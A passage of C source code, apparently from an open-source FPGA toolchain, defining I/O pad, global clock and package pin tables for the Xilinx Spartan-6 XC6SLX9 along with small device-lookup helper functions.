.type_idx = 3 }, [13] = { .pair = 23, .pos_side = 0, .bank = 2, .y = XC6_SLX9_TOTAL_TILE_ROWS - BOT_OUTER_ROW, .x = 29, .type_idx = 2 }, [14] = { .pair = 16, .pos_side = 1, .bank = 2, .y = XC6_SLX9_TOTAL_TILE_ROWS - BOT_OUTER_ROW, .x = 29, .type_idx = 0 }, [15] = { .pair = 16, .pos_side = 0, .bank = 2, .y = XC6_SLX9_TOTAL_TILE_ROWS - BOT_OUTER_ROW, .x = 29, .type_idx = 1 }, [16] = { .pair = 29, .pos_side = 1, .bank = 2, .y = XC6_SLX9_TOTAL_TILE_ROWS - BOT_OUTER_ROW, .x = 25, .type_idx = 3 }, [17] = { .pair = 29, .pos_side = 0, .bank = 2, .y = XC6_SLX9_TOTAL_TILE_ROWS - BOT_OUTER_ROW, .x = 25, .type_idx = 2 }, [18] = { .pair = 30, .pos_side = 1, .bank = 2, .y = XC6_SLX9_TOTAL_TILE_ROWS - BOT_OUTER_ROW, .x = 25, .type_idx = 0 }, [19] = { .pair = 30, .pos_side = 0, .bank = 2, .y = XC6_SLX9_TOTAL_TILE_ROWS - BOT_OUTER_ROW, .x = 25, .type_idx = 1 }, // 20-25 are for gclk switches and remain 0 [26] = { .pair = 31, .pos_side = 1, .bank = 2, .y = XC6_SLX9_TOTAL_TILE_ROWS - BOT_OUTER_ROW, .x = 21, .type_idx = 3 }, [27] = { .pair = 31, .pos_side = 0, .bank = 2, .y = XC6_SLX9_TOTAL_TILE_ROWS - BOT_OUTER_ROW, .x = 21, .type_idx = 2 }, [28] = { .pair = 32, .pos_side = 1, .bank = 2, .y = XC6_SLX9_TOTAL_TILE_ROWS - BOT_OUTER_ROW, .x = 21, .type_idx = 0 }, [29] = { .pair = 32, .pos_side = 0, .bank = 2, .y = XC6_SLX9_TOTAL_TILE_ROWS - BOT_OUTER_ROW, .x = 21, .type_idx = 1 }, [30] = { .pair = 45, .pos_side = 1, .bank = 2, .y = XC6_SLX9_TOTAL_TILE_ROWS - BOT_OUTER_ROW, .x = 19, .type_idx = 3 }, [31] = { .pair = 45, .pos_side = 0, .bank = 2, .y = XC6_SLX9_TOTAL_TILE_ROWS - BOT_OUTER_ROW, .x = 19, .type_idx = 2 }, [32] = { .pair = 41, .pos_side = 1, .bank = 2, .y = XC6_SLX9_TOTAL_TILE_ROWS - BOT_OUTER_ROW, .x = 19, .type_idx = 0 }, [33] = { .pair = 41, .pos_side = 0, .bank = 2, .y = XC6_SLX9_TOTAL_TILE_ROWS - BOT_OUTER_ROW, .x = 19, .type_idx = 1 }, [34] = { .pair = 43, .pos_side = 1, .bank = 2, .y = XC6_SLX9_TOTAL_TILE_ROWS - BOT_OUTER_ROW, .x = 14, .type_idx = 3 }, [35] = { .pair = 43, .pos_side = 0, .bank = 2, .y = XC6_SLX9_TOTAL_TILE_ROWS - BOT_OUTER_ROW, .x = 14, .type_idx = 2 }, [36] = { .pair = 46, .pos_side = 1, .bank = 2, .y = XC6_SLX9_TOTAL_TILE_ROWS - BOT_OUTER_ROW, .x = 14, .type_idx = 0 }, [37] = { .pair = 46, .pos_side = 0, .bank = 2, .y = XC6_SLX9_TOTAL_TILE_ROWS - BOT_OUTER_ROW, .x = 14, .type_idx = 1 }, [38] = { .pair = 48, .pos_side = 1, .bank = 2, .y = XC6_SLX9_TOTAL_TILE_ROWS - BOT_OUTER_ROW, .x = 12, .type_idx = 3 }, [39] = { .pair = 48, .pos_side = 0, .bank = 2, .y = XC6_SLX9_TOTAL_TILE_ROWS - BOT_OUTER_ROW, .x = 12, .type_idx = 2 }, [40] = { .pair = 49, .pos_side = 1, .bank = 2, .y = XC6_SLX9_TOTAL_TILE_ROWS - BOT_OUTER_ROW, .x = 12, .type_idx = 0 }, [41] = { .pair = 49, .pos_side = 0, .bank = 2, .y = XC6_SLX9_TOTAL_TILE_ROWS - BOT_OUTER_ROW, .x = 12, .type_idx = 1 }, [42] = { .pair = 62, .pos_side = 1, .bank = 2, .y = XC6_SLX9_TOTAL_TILE_ROWS - BOT_OUTER_ROW, .x = 7, .type_idx = 3 }, [43] = { .pair = 62, .pos_side = 0, .bank = 2, .y = XC6_SLX9_TOTAL_TILE_ROWS - BOT_OUTER_ROW, .x = 7, .type_idx = 2 }, [44] = { .pair = 63, .pos_side = 1, .bank = 2, .y = XC6_SLX9_TOTAL_TILE_ROWS - BOT_OUTER_ROW, .x = 7, .type_idx = 0 }, [45] = { .pair = 63, .pos_side = 0, .bank = 2, .y = XC6_SLX9_TOTAL_TILE_ROWS - BOT_OUTER_ROW, .x = 7, .type_idx = 1 }, [46] = { .pair = 64, .pos_side = 1, .bank = 2, .y = XC6_SLX9_TOTAL_TILE_ROWS - BOT_OUTER_ROW, .x = 5, .type_idx = 3 }, [47] = { .pair = 64, .pos_side = 0, .bank = 2, .y = XC6_SLX9_TOTAL_TILE_ROWS - BOT_OUTER_ROW, .x = 5, .type_idx = 2 }, [48] = { .pair = 65, .pos_side = 1, .bank = 2, .y = XC6_SLX9_TOTAL_TILE_ROWS - BOT_OUTER_ROW, .x = 5, .type_idx = 0 }, [49] = { .pair = 65, .pos_side = 0, .bank = 2, .y = XC6_SLX9_TOTAL_TILE_ROWS - BOT_OUTER_ROW, .x = 5, .type_idx = 1 }, [50] = { .pair = 1, .pos_side = 1, .bank = 3, .y = 68, .x = LEFT_OUTER_COL, .type_idx = 1 }, [51] = { .pair = 1, .pos_side = 0, .bank = 3, .y = 68, .x = LEFT_OUTER_COL, .type_idx = 0 }, [52] = { .pair = 2, .pos_side = 1, .bank = 3, .y = 67, .x = LEFT_OUTER_COL, .type_idx = 1 }, [53] = { .pair = 2, .pos_side = 0, .bank = 3, .y = 67, .x = LEFT_OUTER_COL, .type_idx = 0 }, [54] = { .pair = 31, .pos_side = 1, .bank = 3, .y = 66, .x = LEFT_OUTER_COL, .type_idx = 1 }, [55] = { .pair = 31, .pos_side = 0, .bank = 3, .y = 66, .x = LEFT_OUTER_COL, .type_idx = 0 }, [56] = { .pair = 32, .pos_side = 1, .bank = 3, .y = 65, .x = LEFT_OUTER_COL, .type_idx = 1 }, [57] = { .pair = 32, .pos_side = 0, .bank = 3, .y = 65, .x = LEFT_OUTER_COL, .type_idx = 0 }, [58] = { .pair = 33, .pos_side = 1, .bank = 3, .y = 61, .x = LEFT_OUTER_COL, .type_idx = 1 }, [59] = { .pair = 33, .pos_side = 0, .bank = 3, .y = 61, .x = LEFT_OUTER_COL, .type_idx = 0 }, [60] = { .pair = 34, .pos_side = 1, .bank = 3, .y = 58, .x = LEFT_OUTER_COL, .type_idx = 1 }, [61] = { .pair = 34, .pos_side = 0, .bank = 3, .y = 58, .x = LEFT_OUTER_COL, .type_idx = 0 }, [62] = { .pair = 35, .pos_side = 1, .bank = 3, .y = 55, .x = LEFT_OUTER_COL, .type_idx = 1 }, [63] = { .pair = 35, .pos_side = 0, .bank = 3, .y = 55, .x = LEFT_OUTER_COL, .type_idx = 0 }, [64] = { .pair = 36, .pos_side = 1, .bank = 3, .y = 52, .x = LEFT_OUTER_COL, .type_idx = 1 }, [65] = { .pair = 36, .pos_side = 0, .bank = 3, .y = 52, .x = LEFT_OUTER_COL, .type_idx = 0 }, [66] = { .pair = 37, .pos_side = 1, .bank = 3, .y = 49, .x = LEFT_OUTER_COL, .type_idx = 1 }, [67] = { .pair = 37, .pos_side = 0, .bank = 3, .y = 49, .x = LEFT_OUTER_COL, .type_idx = 0 }, [68] = { .pair = 38, .pos_side = 1, .bank = 3, .y = 46, .x = LEFT_OUTER_COL, .type_idx = 1 }, [69] = { .pair = 38, .pos_side = 0, .bank = 3, .y = 46, .x = LEFT_OUTER_COL, .type_idx = 0 }, [70] = { .pair = 39, .pos_side = 1, .bank = 3, .y = 42, .x = LEFT_OUTER_COL, .type_idx = 1 }, [71] = { .pair = 39, .pos_side = 0, .bank = 3, .y = 42, .x = LEFT_OUTER_COL, .type_idx = 0 }, [72] = { .pair = 40, .pos_side = 1, .bank = 3, .y = 39, .x = LEFT_OUTER_COL, .type_idx = 1 }, [73] = { .pair = 40, .pos_side = 0, .bank = 3, .y = 39, .x = LEFT_OUTER_COL, .type_idx = 0 }, [74] = { .pair = 41, .pos_side = 1, .bank = 3, .y = 38, .x = LEFT_OUTER_COL, .type_idx = 1 }, [75] = { .pair = 41, .pos_side = 0, .bank = 3, .y = 38, .x = LEFT_OUTER_COL, .type_idx = 0 }, [76] = { .pair = 42, .pos_side = 1, .bank = 3, .y = 37, .x = LEFT_OUTER_COL, .type_idx = 1 }, [77] = { .pair = 42, .pos_side = 0, .bank = 3, .y = 37, .x = LEFT_OUTER_COL, .type_idx = 0 }, // 78-83 are for gclk switches and remain 0 [84] = { .pair = 43, .pos_side = 1, .bank = 3, .y = 33, .x = LEFT_OUTER_COL, .type_idx = 1 }, [85] = { .pair = 43, .pos_side = 0, .bank = 3, .y = 33, .x = LEFT_OUTER_COL, .type_idx = 0 }, [86] = { .pair = 44, .pos_side = 1, .bank = 3, .y = 32, .x = LEFT_OUTER_COL, .type_idx = 1 }, [87] = { .pair = 44, .pos_side = 0, .bank = 3, .y = 32, .x = LEFT_OUTER_COL, .type_idx = 0 }, [88] = { .pair = 45, .pos_side = 1, .bank = 3, .y = 31, .x = LEFT_OUTER_COL, .type_idx = 1 }, [89] = { .pair = 45, .pos_side = 0, .bank = 3, .y = 31, .x = LEFT_OUTER_COL, .type_idx = 0 }, [90] = { .pair = 46, .pos_side = 1, .bank = 3, .y = 30, .x = LEFT_OUTER_COL, .type_idx = 1 }, [91] = { .pair = 46, .pos_side = 0, .bank = 3, .y = 30, .x = LEFT_OUTER_COL, .type_idx = 0 }, [92] = { .pair = 47, .pos_side = 1, .bank = 3, .y = 29, .x = LEFT_OUTER_COL, .type_idx = 1 }, [93] = { .pair = 47, .pos_side = 0, .bank = 3, .y = 29, .x = LEFT_OUTER_COL, .type_idx = 0 }, [94] = { .pair = 48, .pos_side = 1, .bank = 3, .y = 28, .x = LEFT_OUTER_COL, .type_idx = 1 }, [95] = { .pair = 48, .pos_side = 0, .bank = 3, .y = 28, .x = LEFT_OUTER_COL, .type_idx = 0 }, [96] = { .pair = 49, .pos_side = 1, .bank = 3, .y = 14, .x = LEFT_OUTER_COL, .type_idx = 1 }, [97] = { .pair = 49, .pos_side = 0, .bank = 3, .y = 14, .x = LEFT_OUTER_COL, .type_idx = 0 }, [98] = { .pair = 50, .pos_side = 1, .bank = 3, .y = 13, .x = LEFT_OUTER_COL, .type_idx = 1 }, [99] = { .pair = 50, .pos_side = 0, .bank = 3, .y = 13, .x = LEFT_OUTER_COL, .type_idx = 0 }, [100] = { .pair = 51, .pos_side = 1, .bank = 3, .y = 12, .x = LEFT_OUTER_COL, .type_idx = 1 }, [101] = { .pair = 51, .pos_side = 0, .bank = 3, .y = 12, .x = LEFT_OUTER_COL, .type_idx = 0 }, [102] = { .pair = 52, .pos_side = 1, .bank = 3, .y = 11, .x = LEFT_OUTER_COL, .type_idx = 1 }, [103] = { .pair = 52, .pos_side = 0, .bank = 3, .y = 11, .x = LEFT_OUTER_COL, .type_idx = 0 }, [104] = { .pair = 53, .pos_side = 1, .bank = 3, .y = 9, .x = LEFT_OUTER_COL, .type_idx = 1 }, [105] = { .pair = 53, .pos_side = 0, .bank = 3, .y = 9, .x = LEFT_OUTER_COL, .type_idx = 0 }, [106] = { .pair = 54, .pos_side = 1, .bank = 3, .y = 7, .x = LEFT_OUTER_COL, .type_idx = 1 }, [107] = { .pair = 54, .pos_side = 0, .bank = 3, .y = 7, .x = LEFT_OUTER_COL, .type_idx = 0 }, [108] = { .pair = 55, .pos_side = 1, .bank = 3, .y = 5, .x = LEFT_OUTER_COL, .type_idx = 1 }, [109] = { .pair = 55, .pos_side = 0, .bank = 3, .y = 5, .x = LEFT_OUTER_COL, .type_idx = 0 }, [110] = { .pair = 83, .pos_side = 1, .bank = 3, .y = 3, .x = LEFT_OUTER_COL, .type_idx = 1 }, [111] = { .pair = 83, .pos_side = 0, .bank = 3, .y = 3, .x = LEFT_OUTER_COL, .type_idx = 0 }, [112] = { .pair = 1, .pos_side = 1, .bank = 0, .y = TOP_OUTER_ROW, .x = 5, .type_idx = 0 }, [113] = { .pair = 1, .pos_side = 0, .bank = 0, .y = TOP_OUTER_ROW, .x = 5, .type_idx = 1 }, [114] = { .pair = 2, .pos_side = 1, .bank = 0, .y = TOP_OUTER_ROW, .x = 5, .type_idx = 2 }, [115] = { .pair = 2, .pos_side = 0, .bank = 0, .y = TOP_OUTER_ROW, .x = 5, .type_idx = 3 }, [116] = { .pair = 3, .pos_side = 1, .bank = 0, .y = TOP_OUTER_ROW, .x = 7, .type_idx = 0 }, [117] = { .pair = 3, .pos_side = 0, .bank = 0, .y = TOP_OUTER_ROW, .x = 7, .type_idx = 1 }, [118] = { .pair = 4, .pos_side = 1, .bank = 0, .y = TOP_OUTER_ROW, .x = 7, .type_idx = 2 }, [119] = { .pair = 4, .pos_side = 0, .bank = 0, .y = TOP_OUTER_ROW, .x = 7, .type_idx = 3 }, [120] = { .pair = 5, .pos_side = 1, .bank = 0, .y = TOP_OUTER_ROW, .x = 12, .type_idx = 0 }, [121] = { .pair = 5, .pos_side = 0, .bank = 0, .y = TOP_OUTER_ROW, .x = 12, .type_idx = 1 }, [122] = { .pair = 6, .pos_side = 1, .bank = 0, .y = TOP_OUTER_ROW, .x = 12, .type_idx = 2 }, [123] = { .pair = 6, .pos_side = 0, .bank = 0, .y = TOP_OUTER_ROW, .x = 12, .type_idx = 3 }, [124] = { .pair = 10, .pos_side = 1, .bank = 0, .y = TOP_OUTER_ROW, .x = 14, .type_idx = 0 }, [125] = { .pair = 10, .pos_side = 0, .bank = 0, .y = TOP_OUTER_ROW, .x = 14, .type_idx = 1 }, [126] = { .pair = 8, .pos_side = 1, .bank = 0, .y = TOP_OUTER_ROW, .x = 14, .type_idx = 2 }, [127] = { .pair = 8, .pos_side = 0, .bank = 0, .y = TOP_OUTER_ROW, .x = 14, .type_idx = 3 }, [128] = { .pair = 11, .pos_side = 1, .bank = 0, .y = TOP_OUTER_ROW, .x = 19, .type_idx = 0 }, [129] = { .pair = 11, .pos_side = 0, .bank = 0, .y = TOP_OUTER_ROW, .x = 19, .type_idx = 1 }, [130] = { .pair = 33, .pos_side = 1, .bank = 0, .y = TOP_OUTER_ROW, .x = 19, .type_idx = 2 }, [131] = { .pair = 33, .pos_side = 0, .bank = 0, .y = TOP_OUTER_ROW, .x = 19, .type_idx = 3 }, [132] = { .pair = 34, .pos_side = 1, .bank = 0, .y = TOP_OUTER_ROW, .x = 21, .type_idx = 0 }, [133] = { .pair = 34, .pos_side = 0, .bank = 0, .y = TOP_OUTER_ROW, .x = 21, .type_idx = 1 }, [134] = { .pair = 35, .pos_side = 1, .bank = 0, .y = TOP_OUTER_ROW, .x = 21, .type_idx = 2 }, [135] = { .pair = 35, .pos_side = 0, .bank = 0, .y = TOP_OUTER_ROW, .x = 21, .type_idx = 3 }, // 136-141 are for gclk switches and remain 0 [142] = { .pair = 36, .pos_side = 1, .bank = 0, .y = TOP_OUTER_ROW, .x = 25, .type_idx = 0 }, [143] = { .pair = 36, .pos_side = 0, .bank = 0, .y = TOP_OUTER_ROW, .x = 25, .type_idx = 1 }, [144] = { .pair = 37, .pos_side = 1, .bank = 0, .y = TOP_OUTER_ROW, .x = 25, .type_idx = 2 }, [145] = { .pair = 37, .pos_side = 0, .bank = 0, .y = TOP_OUTER_ROW, .x = 25, .type_idx = 3 }, [146] = { .pair = 38, .pos_side = 1, .bank = 0, .y = TOP_OUTER_ROW, .x = 29, .type_idx = 0 }, [147] = { .pair = 38, .pos_side = 0, .bank = 0, .y = TOP_OUTER_ROW, .x = 29, .type_idx = 1 }, [148] = { .pair = 39, .pos_side = 1, .bank = 0, .y = TOP_OUTER_ROW, .x = 29, .type_idx = 2 }, [149] = { .pair = 39, .pos_side = 0, .bank = 0, .y = TOP_OUTER_ROW, .x = 29, .type_idx = 3 }, [150] = { .pair = 41, .pos_side = 1, .bank = 0, .y = TOP_OUTER_ROW, .x = 31, .type_idx = 0 }, [151] = { .pair = 41, .pos_side = 0, .bank = 0, .y = TOP_OUTER_ROW, .x = 31, .type_idx = 1 }, [152] = { .pair = 62, .pos_side = 1, .bank = 0, .y = TOP_OUTER_ROW, .x = 31, .type_idx = 2 }, [153] = { .pair = 62, .pos_side = 0, .bank = 0, .y = TOP_OUTER_ROW, .x = 31, .type_idx = 3 }, [154] = { .pair = 63, .pos_side = 1, .bank = 0, .y = TOP_OUTER_ROW, .x = 36, .type_idx = 0 }, [155] = { .pair = 63, .pos_side = 0, .bank = 0, .y = TOP_OUTER_ROW, .x = 36, .type_idx = 1 }, [156] = { .pair = 64, .pos_side = 1, .bank = 0, .y = TOP_OUTER_ROW, .x = 36, .type_idx = 2 }, [157] = { .pair = 64, .pos_side = 0, .bank = 0, .y = TOP_OUTER_ROW, .x = 36, .type_idx = 3 }, [158] = { .pair = 65, .pos_side = 1, .bank = 0, .y = TOP_OUTER_ROW, .x = 38, .type_idx = 0 }, [159] = { .pair = 65, .pos_side = 0, .bank = 0, .y = TOP_OUTER_ROW, .x = 38, .type_idx = 1 }, [160] = { .pair = 66, .pos_side = 1, .bank = 0, .y = TOP_OUTER_ROW, .x = 38, .type_idx = 2 }, [161] = { .pair = 66, .pos_side = 0, .bank = 0, .y = TOP_OUTER_ROW, .x = 38, .type_idx = 3 }, [162] = { .pair = 1, .pos_side = 1, .bank = 1, .y = 4, .x = XC6_SLX9_TOTAL_TILE_COLS - RIGHT_OUTER_O, .type_idx = 0 }, [163] = { .pair = 1, .pos_side = 0, .bank = 1, .y = 4, .x = XC6_SLX9_TOTAL_TILE_COLS - RIGHT_OUTER_O, .type_idx = 1 }, [164] = { .pair = 29, .pos_side = 1, .bank = 1, .y = 5, .x = XC6_SLX9_TOTAL_TILE_COLS - RIGHT_OUTER_O, .type_idx = 0 }, [165] = { .pair = 29, .pos_side = 0, .bank = 1, .y = 5, .x = XC6_SLX9_TOTAL_TILE_COLS - RIGHT_OUTER_O, .type_idx = 1 }, [166] = { .pair = 30, .pos_side = 1, .bank = 1, .y = 7, .x = XC6_SLX9_TOTAL_TILE_COLS - RIGHT_OUTER_O, .type_idx = 0 }, [167] = { .pair = 30, .pos_side = 0, .bank = 1, .y = 7, .x = XC6_SLX9_TOTAL_TILE_COLS - RIGHT_OUTER_O, .type_idx = 1 }, [168] = { .pair = 31, .pos_side = 1, .bank = 1, .y = 9, .x = XC6_SLX9_TOTAL_TILE_COLS - RIGHT_OUTER_O, .type_idx = 0 }, [169] = { .pair = 31, .pos_side = 0, .bank = 1, .y = 9, .x = XC6_SLX9_TOTAL_TILE_COLS - RIGHT_OUTER_O, .type_idx = 1 }, [170] = { .pair = 32, .pos_side = 1, .bank = 1, .y = 11, .x = XC6_SLX9_TOTAL_TILE_COLS - RIGHT_OUTER_O, .type_idx = 0 }, [171] = { .pair = 32, .pos_side = 0, .bank = 1, .y = 11, .x = XC6_SLX9_TOTAL_TILE_COLS - RIGHT_OUTER_O, .type_idx = 1 }, [172] = { .pair = 33, .pos_side = 1, .bank = 1, .y = 12, .x = XC6_SLX9_TOTAL_TILE_COLS - RIGHT_OUTER_O, .type_idx = 0 }, [173] = { .pair = 33, .pos_side = 0, .bank = 1, .y = 12, .x = XC6_SLX9_TOTAL_TILE_COLS - RIGHT_OUTER_O, .type_idx = 1 }, [174] = { .pair = 34, .pos_side = 1, .bank = 1, .y = 13, .x = XC6_SLX9_TOTAL_TILE_COLS - RIGHT_OUTER_O, .type_idx = 0 }, [175] = { .pair = 34, .pos_side = 0, .bank = 1, .y = 13, .x = XC6_SLX9_TOTAL_TILE_COLS - RIGHT_OUTER_O, .type_idx = 1 }, [176] = { .pair = 35, .pos_side = 1, .bank = 1, .y = 14, .x = XC6_SLX9_TOTAL_TILE_COLS - RIGHT_OUTER_O, .type_idx = 0 }, [177] = { .pair = 35, .pos_side = 0, .bank = 1, .y = 14, .x = XC6_SLX9_TOTAL_TILE_COLS - RIGHT_OUTER_O, .type_idx = 1 }, [178] = { .pair = 36, .pos_side = 1, .bank = 1, .y = 28, .x = XC6_SLX9_TOTAL_TILE_COLS - RIGHT_OUTER_O, .type_idx = 0 }, [179] = { .pair = 36, .pos_side = 0, .bank = 1, .y = 28, .x = XC6_SLX9_TOTAL_TILE_COLS - RIGHT_OUTER_O, .type_idx = 1 }, [180] = { .pair = 37, .pos_side = 1, .bank = 1, .y = 29, .x = XC6_SLX9_TOTAL_TILE_COLS - RIGHT_OUTER_O, .type_idx = 0 }, [181] = { .pair = 37, .pos_side = 0, .bank = 1, .y = 29, .x = XC6_SLX9_TOTAL_TILE_COLS - RIGHT_OUTER_O, .type_idx = 1 }, [182] = { .pair = 38, .pos_side = 1, .bank = 1, .y = 30, .x = XC6_SLX9_TOTAL_TILE_COLS - RIGHT_OUTER_O, .type_idx = 0 }, [183] = { .pair = 38, .pos_side = 0, .bank = 1, .y = 30, .x = XC6_SLX9_TOTAL_TILE_COLS - RIGHT_OUTER_O, .type_idx = 1 }, [184] = { .pair = 39, .pos_side = 1, .bank = 1, .y = 31, .x = XC6_SLX9_TOTAL_TILE_COLS - RIGHT_OUTER_O, .type_idx = 0 }, [185] = { .pair = 39, .pos_side = 0, .bank = 1, .y = 31, .x = XC6_SLX9_TOTAL_TILE_COLS - RIGHT_OUTER_O, .type_idx = 1 }, [186] = { .pair = 40, .pos_side = 1, .bank = 1, .y = 32, .x = XC6_SLX9_TOTAL_TILE_COLS - RIGHT_OUTER_O, .type_idx = 0 }, [187] = { .pair = 40, .pos_side = 0, .bank = 1, .y = 32, .x = XC6_SLX9_TOTAL_TILE_COLS - RIGHT_OUTER_O, .type_idx = 1 }, [188] = { .pair = 41, .pos_side = 1, .bank = 1, .y = 33, .x = XC6_SLX9_TOTAL_TILE_COLS - RIGHT_OUTER_O, .type_idx = 0 }, [189] = { .pair = 41, .pos_side = 0, .bank = 1, .y = 33, .x = XC6_SLX9_TOTAL_TILE_COLS - RIGHT_OUTER_O, .type_idx = 1 }, // 190-195 are for gclk switches and remain 0 [196] = { .pair = 42, .pos_side = 1, .bank = 1, .y = 37, .x = XC6_SLX9_TOTAL_TILE_COLS - RIGHT_OUTER_O, .type_idx = 0 }, [197] = { .pair = 42, .pos_side = 0, .bank = 1, .y = 37, .x = XC6_SLX9_TOTAL_TILE_COLS - RIGHT_OUTER_O, .type_idx = 1 }, [198] = { .pair = 43, .pos_side = 1, .bank = 1, .y = 38, .x = XC6_SLX9_TOTAL_TILE_COLS - RIGHT_OUTER_O, .type_idx = 0 }, [199] = { .pair = 43, .pos_side = 0, .bank = 1, .y = 38, .x = XC6_SLX9_TOTAL_TILE_COLS - RIGHT_OUTER_O, .type_idx = 1 }, [200] = { .pair = 44, .pos_side = 1, .bank = 1, .y = 39, .x = XC6_SLX9_TOTAL_TILE_COLS - RIGHT_OUTER_O, .type_idx = 0 }, [201] = { .pair = 44, .pos_side = 0, .bank = 1, .y = 39, .x = XC6_SLX9_TOTAL_TILE_COLS - RIGHT_OUTER_O, .type_idx = 1 }, [202] = { .pair = 45, .pos_side = 1, .bank = 1, .y = 42, .x = XC6_SLX9_TOTAL_TILE_COLS - RIGHT_OUTER_O, .type_idx = 0 }, [203] = { .pair = 45, .pos_side = 0, .bank = 1, .y = 42, .x = XC6_SLX9_TOTAL_TILE_COLS - RIGHT_OUTER_O, .type_idx = 1 }, [204] = { .pair = 46, .pos_side = 1, .bank = 1, .y = 46, .x = XC6_SLX9_TOTAL_TILE_COLS - RIGHT_OUTER_O, .type_idx = 0 }, [205] = { .pair = 46, .pos_side = 0, .bank = 1, .y = 46, .x = XC6_SLX9_TOTAL_TILE_COLS - RIGHT_OUTER_O, .type_idx = 1 }, [206] = { .pair = 47, .pos_side = 1, .bank = 1, .y = 49, .x = XC6_SLX9_TOTAL_TILE_COLS - RIGHT_OUTER_O, .type_idx = 0 }, [207] = { .pair = 47, .pos_side = 0, .bank = 1, .y = 49, .x = XC6_SLX9_TOTAL_TILE_COLS - RIGHT_OUTER_O, .type_idx = 1 }, [208] = { .pair = 48, .pos_side = 1, .bank = 1, .y = 52, .x = XC6_SLX9_TOTAL_TILE_COLS - RIGHT_OUTER_O, .type_idx = 0 }, [209] = { .pair = 48, .pos_side = 0, .bank = 1, .y = 52, .x = XC6_SLX9_TOTAL_TILE_COLS - RIGHT_OUTER_O, .type_idx = 1 }, [210] = { .pair = 49, .pos_side = 1, .bank = 1, .y = 55, .x = XC6_SLX9_TOTAL_TILE_COLS - RIGHT_OUTER_O, .type_idx = 0 }, [211] = { .pair = 49, .pos_side = 0, .bank = 1, .y = 55, .x = XC6_SLX9_TOTAL_TILE_COLS - RIGHT_OUTER_O, .type_idx = 1 }, [212] = { .pair = 50, .pos_side = 1, .bank = 1, .y = 58, .x = XC6_SLX9_TOTAL_TILE_COLS - RIGHT_OUTER_O, .type_idx = 0 }, [213] = { .pair = 50, .pos_side = 0, .bank = 1, .y = 58, .x = XC6_SLX9_TOTAL_TILE_COLS - RIGHT_OUTER_O, .type_idx = 1 }, [214] = { .pair = 51, .pos_side = 1, .bank = 1, .y = 61, .x = XC6_SLX9_TOTAL_TILE_COLS - RIGHT_OUTER_O, .type_idx = 0 }, [215] = { .pair = 51, .pos_side = 0, .bank = 1, .y = 61, .x = XC6_SLX9_TOTAL_TILE_COLS - RIGHT_OUTER_O, .type_idx = 1 }, [216] = { .pair = 52, .pos_side = 1, .bank = 1, .y = 65, .x = XC6_SLX9_TOTAL_TILE_COLS - RIGHT_OUTER_O, .type_idx = 0 }, [217] = { .pair = 52, .pos_side = 0, .bank = 1, .y = 65, .x = XC6_SLX9_TOTAL_TILE_COLS - RIGHT_OUTER_O, .type_idx = 1 }, [218] = { .pair = 53, .pos_side = 1, .bank = 1, .y = 66, .x = XC6_SLX9_TOTAL_TILE_COLS - RIGHT_OUTER_O, .type_idx = 0 }, [219] = { .pair = 53, .pos_side = 0, .bank = 1, .y = 66, .x = XC6_SLX9_TOTAL_TILE_COLS - RIGHT_OUTER_O, .type_idx = 1 }, [220] = { .pair = 61, .pos_side = 1, .bank = 1, .y = 67, .x = XC6_SLX9_TOTAL_TILE_COLS - RIGHT_OUTER_O, .type_idx = 0 }, [221] = { .pair = 61, .pos_side = 0, .bank = 1, .y = 67, .x = XC6_SLX9_TOTAL_TILE_COLS - RIGHT_OUTER_O, .type_idx = 1 }, [222] = { .pair = 74, .pos_side = 1, .bank = 1, .y = 68, .x = XC6_SLX9_TOTAL_TILE_COLS - RIGHT_OUTER_O, .type_idx = 0 }, [223] = { .pair = 74, .pos_side = 0, .bank = 1, .y = 68, .x = XC6_SLX9_TOTAL_TILE_COLS - RIGHT_OUTER_O, .type_idx = 1 }}, // gclk: ug382 table 1-6 page 25 .num_gclk_pins = XC6_NUM_GCLK_PINS, .gclk_t2_io_idx = { // indices into t2_io /* 0 */ 19, 18, 17, 16, /* 4 */ 199, 198, 197, 196, /* 8 */ 189, 188, 187, 186, /* 12 */ 145, 144, 143, 142, /* 16 */ 135, 134, 133, 132, /* 20 */ 87, 86, 85, 84, /* 24 */ 77, 76, 75, 74, /* 28 */ 29, 28, 27, 26 }, // todo: gclk 2,3,28,29 positions not yet verified .gclk_t2_switches = { // 16-bit words into type2 data /* 0 */ 20*4+ 6, 20*4+ 9, 20*4+ 0, 20*4+ 3, /* 4 */ 190*4+18, 190*4+21, 190*4+12, 190*4+15, /* 8 */ 190*4+ 6, 190*4+ 9, 190*4+ 0, 190*4+ 3, /* 12 */ 136*4+18, 136*4+21, 136*4+12, 136*4+15, /* 16 */ 136*4+ 6, 136*4+ 9, 136*4+ 0, 136*4+ 3, /* 20 */ 78*4+21, 78*4+18, 78*4+15, 78*4+12, /* 24 */ 78*4+ 9, 78*4+ 6, 78*4+ 3, 78*4+ 0, /* 28 */ 20*4+18, 20*4+21, 20*4+12, 20*4+15 }, .mcb_ypos = 20, .num_mui = 8, .mui_pos = { 40, 43, 47, 50, 53, 56, 59, 63 }, .sel_logicin = { 24, 15, 7, 42, 5, 12, 62, 16, 47, 20, 38, 23, 48, 57, 44, 4 }}; switch (idcode & IDCODE_MASK) { case XC6SLX9: return &xc6slx9_info; } HERE(); fprintf(stderr, "#E unknown id_code %i\n", idcode); return 0; } int xc_die_center_major(const struct xc_die *die) { int i; for (i = 0; i < die->num_majors; i++) { if (die->majors[i].flags & XC_MAJ_CENTER) return i; } HERE(); return -1; } const struct xc6_pkg_info *xc6_pkg_info(enum xc6_pkg pkg) { // see ug385 static const struct xc6_pkg_info pkg_tqg144 = { .pkg = TQG144, .num_pins = /*physical pinouts*/ 144 + /*on die but unbonded*/ 98, .pin = { // name bank bufio2 description pair pos_side { "P144", 0, "TL", "IO_L1P_HSWAPEN_0", 1, 1 }, { "P143", 0, "TL", "IO_L1N_VREF_0", 1, 0 }, { "P142", 0, "TL", "IO_L2P_0", 2, 1 }, { "P141", 0, "TL", "IO_L2N_0", 2, 0 }, { "P140", 0, "TL", "IO_L3P_0", 3, 1 }, { "P139", 0, "TL", "IO_L3N_0", 3, 0 }, { "P138", 0, "TL", "IO_L4P_0", 4, 1 }, { "P137", 0, "TL", "IO_L4N_0", 4, 0 }, { "P134", 0, "TL", "IO_L34P_GCLK19_0", 34, 1 }, { "P133", 0, "TL", "IO_L34N_GCLK18_0", 34, 0 }, { "P132", 0, "TL", "IO_L35P_GCLK17_0", 35, 1 }, { "P131", 0, "TL", "IO_L35N_GCLK16_0", 35, 0 }, { "P127", 0, "TR", "IO_L36P_GCLK15_0", 36, 1 }, { "P126", 0, "TR", "IO_L36N_GCLK14_0", 36, 0 }, { "P124", 0, "TR", 